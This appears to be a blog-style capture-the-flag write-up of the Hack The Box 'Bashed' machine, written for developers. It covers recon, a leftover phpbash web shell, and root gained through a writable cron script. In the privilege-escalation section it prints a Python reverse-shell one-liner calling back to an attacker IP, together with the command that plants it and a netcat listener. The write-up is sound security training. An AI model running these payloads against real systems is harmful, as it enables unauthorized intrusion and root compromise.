Keep Calm and Hack The Box – Bashed

As a full-stack developer, you spend your days building powerful web applications. You cleverly craft intricate features, optimize performance, and deliver seamless user experiences. But in the midst of all that creation, how often do you consider the security of your code? Do you really know how resilient your app would be if an attacker came knocking?

This is where ethical hacking platforms like Hack The Box enter the scene. Hacking your own apps (or pentesting other ones with permission) trains you to anticipate vulnerabilities and proactively defend against them. It cultivates an attacker mindset – a critical asset for any security-savvy developer.

Today, we‘ll be dissecting the retired Bashed machine on Hack The Box. Rated as easy, this box is an excellent intro to web application hacking. We‘ll walk through the full kill chain from initial enumeration to gaining root privileges. Along the way, I‘ll share some coding best practices to help you level up your web apps‘ security posture. Let‘s dive in!

Reconnaissance

We begin, as always, with reconnaissance. Thoroughly mapping out the attack surface gives us clues on potential entry points. Since this is a web app, we‘ll focus on enumerating the webserver and associated services.

Port Scanning with Nmap

Our first stop is port scanning with the venerable nmap tool. Nmap is the gold standard for network recon. It offers a wide range of scanning techniques to identify live hosts, open ports, running services, and much more.

For the Bashed box, we run an aggressive scan with version detection and default scripts:

nmap -A -v 10.129.90.251

This reveals a single open port:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel‘s Development Site

Port 80 indicates a web server, specifically Apache 2.4.18 running on Ubuntu. The server header and page title provide useful intel for further enumeration.

Nmap has dozens of scan types and hundreds of options to fine-tune your recon. I highly recommend studying the official reference guide to master this essential tool.

Web App Mapping with Dirbuster & Nikto

With a web server identified, let‘s map out the site structure and search for interesting files/directories. Two fantastic tools for this are dirbuster and nikto.

Dirbuster is a Java GUI application that bruteforces directories and filenames on webservers. It takes a wordlist and hammers the server with HTTP requests, analyzing the responses to enumerate the content.

We load up dirbuster, set our target URL (http://10.129.90.251), and select a wordlist (I‘m partial to /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt). Let it rip and see what turns up.

Dirbuster uncovers several compelling directories:

• /images
• /uploads
• /php
• /dev

These warrant further inspection, especially /php and /dev which may contain sensitive application files.

Next up is nikto, a powerful web scanner that tests for 6700+ potentially dangerous files/programs, outdated server versions, and common misconfigurations. It‘s less focused on content discovery and more on identifying known vulnerabilities.

Running a basic nikto scan is simple:

nikto -host 10.129.90.251

Nikto reinforces the idea that /dev and /php are of interest. It also provides some additional server details like the specific Apache version and OS. Every tidbit helps as we build out our attack plan.

Gaining a Foothold

With recon complete, it‘s time to get our hands dirty. We‘ll poke at the more promising directories uncovered by dirbuster and see if any juicy vulnerabilities shake out.

Browsing to the site root at http://10.129.90.251, we find a basic web app, likely a blog or simple CMS. The content seems to focus on web development and related technologies. One post in particular catches my eye: a piece on phpbash, a standalone PHP web shell.

Gears start turning… what if the phpbash script itself is present on this server? We know from dirbuster that a /dev directory exists. Could it be there?

Navigating to http://10.129.90.251/dev/ confirms our suspicions. The directory listing shows the phpbash.php script in all its glory. Clicking that drops us into a very handy web shell.

This is a critical lesson for developers – NEVER leave development or staging artifacts on a production server. These unintended backdoors are a common intrusion vector. Attackers routinely scan for leftover dev files, backup archives, and other sensitive goodies. Explicit deny rules in your webserver config are a good safeguard, along with rigorous deployment practices that scrub non-production assets.

Lateral Movement and User Flag

We‘re now inside the machine via the phpbash web shell. Time to orient ourselves and see what we can access. A quick whoami reveals we‘re running as the webserver user www-data. This is typical for Apache and means our access is somewhat limited. To progress, we‘ll likely need to find a way to pivot to another user.

Poking around, we spot an intriguing home directory:

www-data@bashed:/home$ ls   
arrexel

Looks like we have a user named arrexel. Let‘s see what‘s inside their folder:

www-data@bashed:/home/arrexel$ ls
user.txt

Well hello there! The user flag is sitting in plain sight. This is a lucky break, as often you‘ll need to privesc to the user first before you can read their flag.

www-data@bashed:/home/arrexel$ cat user.txt
2c281f318555dbc1b856957c7147bfc1

One down, one to go. But don‘t get complacent – the root flag still lies ahead and will surely put up more of a fight.

As developers, the lesson here is the importance of the principle of least privilege. The www-data user should only have access to the directories and files necessary for the webserver to function. Being able to browse to /home/arrexel is a red flag that permissions are overly lax. Tightening up those access controls can prevent an attacker from moving laterally in the event they compromise the web app.

Privilege Escalation

To seal the deal, we need to find a way to escalate our privileges to root. There are numerous vectors for privesc in Linux environments. Some common ones include:

• Exploiting services running as root
• Abusing SUID/GUID binaries
• Hijacking PATH variables
• Exploiting kernel vulnerabilities

For our initial privesc recon, a good place to start is finding SUID binaries. These are executables that run with the privileges of their owner, regardless of who executes them. If we can find an SUID binary owned by root, there‘s potential to hijack it for our nefarious purposes.

www-data@bashed:/home/arrexel$ find / -perm -4000 -type f 2>/dev/null

Unfortunately, nothing too extraordinary turns up. Let‘s check for services running as root instead:

www-data@bashed:/home/arrexel$ ps aux | grep root

This is more fruitful. Among the results is a Python script named test.py that seems to be executing regularly from the /scripts directory. Smells like a cron job. Let‘s investigate.

www-data@bashed:/scripts$ ls -l
total 8
-rw-r--r-- 1 root       root       118 Dec  4  2017 test.py
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec  4  2017 test.txt

How curious. test.py is owned by root, while test.txt is owned by the scriptmanager user. And the plot thickens – test.py has world read/write permissions. Very suspicious indeed.

To confirm the cron job hypothesis, we can check the timestamps on test.txt:

www-data@bashed:/scripts$ ls -l test.txt
-rw-r--r-- 1 scriptmanager scriptmanager 59 Jun 13 01:06 test.txt
www-data@bashed:/scripts$ ls -l test.txt
-rw-r--r-- 1 scriptmanager scriptmanager 59 Jun 13 01:07 test.txt

The timestamp increments every minute, dead giveaway of an automated cron process. Now for the coup de grace – we can write to test.py. Do you see where this is going?

We‘ll create a reverse shell payload in Python and overwrite the contents of test.py. When the cron job executes, we‘ll catch a root shell. Here‘s our Python one-liner:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

This little gem sets up a socket connection back to our attack box on port 1337, then dupes stdin, stdout, and stderr to the socket. Essentially, it punches a hole through the NAT and gives us an interactive shell.

Before we overwrite test.py, let‘s set up a netcat listener to catch the shell:

nc -nvlp 1337

And now for the moment of truth:

www-data@bashed:/scripts$ echo ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.7",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);‘ > test.py

With bated breath, we wait for the cron job to fire… and BOOM! A shell appears in our netcat window, and whoami confirms we are now root. pwned!

The takeaway here for developers is to NEVER have writable scripts triggered by root cron jobs. That‘s just begging for privilege escalation. Cron jobs should only run scripts that are owned and exclusively writable by root or other privileged accounts. This is part of the wider security practice of maintaining strict access controls and segregating privileges as much as possible.

Capturing the Root Flag

We‘re in the home stretch now. Grabbing the root flag is trivial with our newly acquired root powers:

root@bashed:/scripts# cd /root
root@bashed:~# ls 
root.txt
root@bashed:~# cat root.txt
cc4f0afe3a1026d402ba10329674a8e2

Mission accomplished! Both flags captured. Cue the obligatory "I‘m in" meme.

Lessons Learned

As developers, it‘s crucial that we internalize the hard lessons from boxes like Bashed. We have to code with a defensive mindset, always asking "how could this be abused?" Some key takeaways:

1. Never expose development files or APIs on production servers. These unintended backdoors are prime targets for attackers.

2. Adhere to the principle of least privilege. Only grant the bare minimum permissions necessary for the application and users to function.

3. Maintain strict access controls on sensitive files and directories. World readable/writable should be avoided in most cases.

4. Be extremely judicious with SUID binaries and root cron jobs. These are powerful privilege escalation vectors when misconfigured.

5. Stay on top of server and application patches. Outdated versions are ripe for exploitation.

And most importantly, learn to think like a hacker! Platforms like Hack The Box are invaluable for building that offensive mindset. The more you practice, the more naturally you‘ll spot potential vulnerabilities in your own code.

I encourage you to keep honing your skills on progressively harder boxes. Each one teaches new techniques and sharpens your attacker intuition. But don‘t just admire your new powers – turn them into defenses! Apply that hard-earned knowledge to write more secure, resilient applications.

To my fellow devs, I challenge you – next time you‘re coding a feature, pause for a moment. Put on your black hat. Could that input be poisoned? That port be scanned? That cookie be hijacked? Think like a hacker, code like a champion.

Because at the end of the day, we‘re all in this fight together. Hackers gonna hack, but developers can (and must) build the walls that keep them at bay.

So stay frosty, friends. And as always, happy hacking!

Note: All information provided is for educational purposes only. Hack The Box machines are intended for legal security research and training. Only perform offensive testing against systems you have explicit permission to attack. Stay ethical, folks!